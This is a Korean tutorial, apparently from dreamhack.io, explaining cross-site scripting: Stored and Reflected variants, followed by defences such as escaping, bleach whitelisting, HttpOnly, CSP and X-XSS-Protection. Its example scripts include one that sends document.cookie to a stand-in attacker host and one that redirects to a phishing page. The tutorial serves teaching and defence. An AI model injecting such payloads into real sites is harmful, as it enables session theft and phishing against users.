정보 출처: https://dreamhack.io/
서버의 응답에 공격자가 삽입한 악성 스크립트가 포함되어 사용자의 웹 브라우저에서 해당 스크립트가 실행되는 취약점을 Cross Site Scripting(XSS)
이라고 한다.
XSS은 임의의 악성 스크립트를 실행할 수 있으며 이를 통해 해당 웹 사이트의 사용자 쿠키 또는 세션을 탈취해 사용자의 권한을 얻거나, 사용자의 페이지를 변조하는 등의 공격을 수행할 수 있다.
XSS 공격을 성공적으로 수행하기 위해서는 아래의 두 가지 조건이 요구 된다.
대표적인 예시로 게시판 서비스가 있다. 공격자의 악성 스크립트가 포함된 게시글이 검증이 이루어지지 않은 채 웹 서버에 업로드 되고 다른 사용자가 해당 게시글을 조회한다면 공격자의 악성 스크립트가 사용자의 웹 브라우저에서 실행된다.
XSS는 악성 스크립트가 전달되는 방식에 따라 Stored XSS, Reflected XSS 등으로 분류된다. 악성 스크립트의 전달 방식 차이가 있을 뿐 사용자의 웹 브라우저에서 악성 스크립트를 실행한다
는 것은 동일하다.
악성 스크립트는 브라우저가 실행할 수 있는 웹 리소르를 말하며, 대표적으로 HTML, JS 등이 있다.
dreamhack.io에서 XSS 취약점으로 인해 자바스크립트의
alert(document.domain)
코드가 실행된 화면(예시)
XSS 취약점에 대한 정보를 공유할 때 alert
또는 prompt
와 같은 메시지 창을 실행하는 이유는 XSS 취약점이 발생하였다는 점을 시각적으로 표현이 가능하기 때문이다. 주로 메시지 창에는 해당 페이지의 domain을 확인하기 위해 document.domain
을 인자로 전달한다
`Javascript(자바스크립트)는 사용자의 웹 브라우저
에서 화면을 동적으로 보여줄 수 있도록 자동으로 버튼을 누르거나 화면 구성을 바꾸는 등의 작업을 할 때 많이 사용된다. 이러한 UI적인 측면 외에도 사용자와의 상호작용 없이 사용자의 권한으로 정보를 조회하거나 변경하는 등의 요청을 주고 응답받는 것도 가능하다. 이는 사용자의 권한을 가지고 있는 세션 쿠키는 사용자에게 저장되어있고 웹 브라우저는 해당 쿠키에 접근할 수 있기 때문이다.
이외에도 웹 브라우저에서 출력되어지는 페이지의 내용을 조작하거나, 웹 브라우저의 위치를 공격자가 원하는 주소로 변경 가능하다. 이처럼 사용자의 입장에서 발생하는 행위를 동작 시킬 수 있기 때문에 자바스크립트는 XSS 공격 시 많이 사용한다.
자바스크립트를 실행하는 대표적인 방법은 script
태그를 이용하는 방식이 있으며 공격자가 입력 데이터로 script
태그를 전송 해 다른 사용자의 응답에 포함되면 공격자의 자바스크립트가 실행된다. script
태크 외에도 태그의 속성 중 특정 상황에서 빌생하는 on*
이벤트들을 사용하여 자바스크립트 실행이 가능하다.
아래는 자바스크립트를 이용한 간단한 공격 예시에 대해서 작성한 코드다.
---쿠키 및 세션---
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
---페이지 변조---
<script>
// 사용자의 페이지 정보에 접근.
document;
// 사용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
---위치 이동---
<script>
// 사용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
Stored XSS
는 악성 스크립트가 서버 내에 존재하는 데이터베이스 또는 파일 등의 형태로 저장되어 있다가 사용자가 저장된 악성스크립트를 조회하는 순간 발생하는 형태의 XSS 이다. 대표적인 예시로 게시판 서비스에서 악성 스크립트가 포함된 게시물을 조회할 때 악성 스크립트가 실행되는 공격 방식이 있다.
게시판과 같이 서버 내에 저장되어 있는 형태에서는 불특정 다수에게 공격이 가능하다는 점에서 높은 파급력을 가질 수 있는 가능성도 존재하지만, 악성 스크립트가 실행되는 페이지가 사용자가 일반적으로 접근하기 어려운 서비스일 경우에는 파급력이 높지 않을 수 있다. 이와 같이 서비스의 형태와 접근성, 그리고 해당 서비스를 통해 얻을 수 있는 정보 또는 행위들에 따라 파급력은 달라질 수 있다.
아래에서는 게시판에서 게시글을 작성하는 기능에서 사용자의 입력값에 대한 검증 과정의 부재로 인해 HTML을 그대로 출력하게 된다. <script>
태그 등을 포함한 HTML 태그를 게시글에 삽입해보고 실제 응답 시 반환되는 HTML 코드를 통해 Stored XSS의 발생 형태를 확인해 볼 수 있다.
Refoected XSS는 악성 스크립트가 사용자의 요청과 함께 전송되는 형태이다. 사용자가 요청한 데이터가 서버의 응답에 포함되어 HTML 등의 악성 스크립트가 그대로 출력되어 발생하게 된다.
Refelected XSS는 Stored XSS와는 다르게 사용자의 요청데이터에 의해 취약점이 발생하기 때문에, 변조된 데이터가 사용자의 요청으로 전송되는 형태를 유도해야 한다. 가장 간단한 방법으로는 특정 링크를 유도하는 방식이 존재하며 Click Jacking, Open Redirect
등의 다른 취약점과 연계하여 발생시키는 방법도 존재한다.
대표적인 예시로는 게시판 서비스에서 작성된 게시물을 조회하는 과정에서 위해 입력한 데이터에 의해 발생하는 방식이 있다. 사용자가 게시물 조회를 조회를 요청 시 서버는 해당 요청에 대하여 조회 한 결과
를 응답에 출력하며, 편의성을 위해 사용자가 조회한 내용을 응답에 포함하기도 한다. 이때 서버에서 악성 스크립트에 대한 검증을 올바르지 않을 경우 응답에 포함되며, 웹브라우저에서 페이지를 출력 시 해당 스크립트가 반영(Reflect)되어 Reflected XSS로 이어질 수 있다.
아래에서는 게시판에서 게시글을 조회하는 기능에서 사용자의 입력 데이터 대한 검증 과정의 부재로 인해 HTML을 그대로 출력하게 된다. HTML 태그를 조회를 위한 데이터에 삽입해보고 실제 응답 시 반환되는 HTML 코드를 통해 Reflected XSS의 발생 형태를 확인해 볼 수 있다.
XSS는 웹 서비스상에서 빈번하게 일어나는 취약점 중 하나이며 오래전부터 발생했던 취약점이기 때문에 이를 방어하기 위해 많은 방안들이 생겨났다.
브라우저 단에서 방어하는 기술뿐만 아니라 서버 내부에 저장하는 시점 혹은 저장된 데이터를 출력하는 시점에 입력 값을 올바르게 검증하는 방식으로 XSS를 방어해야 한다. 아래는 방어 기술의 종류다.
XSS를 유발할 수 있는 태그 삽입을 방지하기 위해 서버 단에서 검증하는 방법이다. 사용자의 입력 값이 HTML 태그가 될 일이 없다면 꺽쇠(<, >), 따옴표(", ')와 같은 특수 문자를 HTML Entity Encoding
을 이용해 태그로 인식하지 않도록 수정(Escape) 할 수 있다.
만약 사용자 입력 값에 HTML 형태를 지원해야 한다면 화이트리스트 필터링
을 해야한다.
화이트리스트 필터링이란 허용해도 안전한 일부 태그, 속성을 제외한 모든 값을 필터링 하는 것을 의미한다.
게시글을 운영하는데 있어서 img, video, a 태그만 필요하다면 해당되는 세 개의 태그를 제외한 모든 태그는 필터링하는 방식이다.
사용자의 입력 값을 필터링 할 때 유의할 점은 요청의 URI Query 값이나 POST Body 값만 필터링하는 것이 아니라 User-Agent, Referer와 같은 헤더도 모두 포함하여 사용자로부터 입력된 값에 모두 적용
해야 한다.
Mozilla 에서 제작한 Bleach
(https://github.com/mozilla/bleach
) 라는 HTML 필터링 라이브러리를 추천한다.
그 외에도 사용자가 로그인할 때 세션에 로그인한 IP주소를 함께 저장하고, 사용자가 페이지를 접속할 때마다 현재 IP주소와 로그인 했던 IP주소의 동일 여부를 확인하는 방법이 있다. 해당방법은 공격자가 세션 ID를 탈취해도 피해자와 IP주소가 달라 피해자의 세션을 사용하지 못하게 하는 장점이 있어 과거에 널리 쓰였다. 최근에는 Mobile 환경의 사용자가 점점 많아지면서 WiFi를 주로 이용한다. 사용자가 이용하는 WiFi가 바뀔 때마다 사용자의 IP주소는 매번 바뀌기 때문에 접속한 IP가 아닌 접속한 국가가 변경된 경우를 탐지하는 형태로 변형되었다.
# HTML Entity Encoding 예시
from jinja2 import utils
@app.route('/board/', methods=['GET', 'POST'])
def write():
...
if request.method == 'POST':
title = utils.escape(request.form.get('title'))
content = utils.escape(request.form.get('content'))
query = '...' % (...)
...
return result
# 화이트리스트 필터링 예시
import bleach # https://github.com/mozilla/bleach
@app.route('/board/', methods=['GET', 'POST'])
def write():
...
if request.method == 'POST':
ALLOW_TAGS = ['a', 'p', 'h1', 'h2', 'h3']
ALLOW_ATTRS = ['href']
title = bleach.clean(request.form.get('title'), ALLOW_TAGS, ALLOW_ATTRS)
content = bleach.clean(request.form.get('content'), ALLOW_TAGS, ALLOW_ATTRS)
query = '...' % (...)
...
return result
Set-Cookie: session=sbdh1vjwvq; HttpOnly
HTTPOnly 플래그는 서버 측에서 응답 헤더에 Set-Cookie 헤더를 전송해 자바스크립트에서 해당 쿠키에 접근 하는 것을 금지한다. 이는 쿠키를 생성할 때 옵션으로 설정 가능하며, XSS 취약점이 발생하더라도 공격자가 알아낼 수 없는 쿠키 값이기 때문에 세션쿠키를 설정할 땐 HTTPOnly 플래그를 적용하는 것을 권장한다.
CSP는 흡당 헤더나 meta 태그를 통해 아래와 같이 선언해서 사용할 수 있으며, 각각의 지시어를 적용하여 사이트에서 로드하는 리소스들의 출처를 제한할 수 있다.
Content-Security-Policy: <지시어>; ...
예를 들어 default-src 'self' *.dreamhack.io
와 같이 설정된 CSP는 모든 리소스(이미지 파일, 스크립트 파일 등)의 출처가 현재 도메인이거나, *.dreamhack.io
도메인일 경우만 허용한다. 또한 script-src
를 선언해 자바스크립트 코드의 출처를 제한할 수 있으며, 공격자가 외부에 업로드 된 자바스크립트 파일을 호출하거나 직접 자바스크립트 코드를 작성하는 등의 행위를 막을 수 있다. 그러나 신뢰할 출처를 선언하는 방식인만큼 신뢰하는 CDN 서버가 해킹당하면 무력화되는 단점이 존재한다.
이 외에도 많은 리소스 형식(이미지, 폰트, 오브젝트, ...) 의 출처를 제한할 수 있는 지시어들이 존재하며 script-src 'nonce-noncevalue13b739d8ea12
와 같이 script-src
를 이용해 nonce(랜덤)
값을 설정하고 HTML 태그를 이용해 자바스크립트를 실행할 때는 반드시 서버에서 생성된 nonce 값을 알아야만 실행될 수 있도록 할 수 있다.
즉, XSS 공격을 당하더라도 서버에서 매번 생성되는 nonce 값을 알 수 없다면 일반적인 방법으로 자바스크립트 실행이 불가능해진다. 또한 script-src 'sha256-hashvalue_base64'
와 같은 형태로 자바스크립트나 스타일시트의 해시를 알아내 CSP를 적용하면 미리 알아낸 해시와 다를 경우 실행하지 않도록 할 수 있다. 엣
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-5jFwrAK0UV47oFbVg/iCCBbxD8X1w+QvoOUepu4C2YA='">
</head>
<body>
<script>alert(1);</script>
</body>
</html>
위 코드는 script 태그 안의 자바스크립트 코드의 해시를 알아내고 CSP 를 설정해 alert(1)을 성공적으로 호출한 예시이다.
작성한 CSP 지시어가 올바른지 확인하려면 http://csp-evaluator.withgoogle.com/ 에서 확인 가능하다.
X-XSS-Protection은 Response Header에 아래와 같이 선언해서 사용할 수 있다.
X-XSS-Protection: <값>
해당 정책은 웹 브라우저에 내장된 XSS Filter를 활성화할 것인지를 판단한다. XSS Filter는 웹 브라우저에서 전송된 Request 값이 XSS 공격 코드와 유사하고, Response에 해당 공격 코드가 포함되었을 경우에 XSS 공격이 수행되고 있음을 판단하여 XSS 공격 발생을 사용자에게 알리고 차단한다. Request 값과 Response를 비교해 판단하는 것으로 보아 Reflected XSS 공격을 막는 데에 적합한 방어 방법임을 알 수 있으며, 다른 유형의 XSS 공격을 방어할 수 없다.
X-XSS-Protection: 0
X-XSS-Protection: 1
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; report=<reporting-uri>
위와 같이 네 가지의 사용법이 있으며 해당 Header를 선언하지 않았을 때의 브라우저의 기본 값은 1로, 기본으로 적용된다. 0일 경우 Filter를 사용하지 않으며, 1일 경우 XSS 공격이 탐지되면 해당 부분만 제거한 뒤 페이지의 결과를 화면에 출력한다. mode=block
일 경우 XSS 공격이 탐지되면 페이지 전체의 렌더링을 중단하며, report를 선언할 경우에 XSS 공격이 탐지된 사실을 미리 설정한 주소에 신고하여 운영자가 대처하기 쉽도록 한다.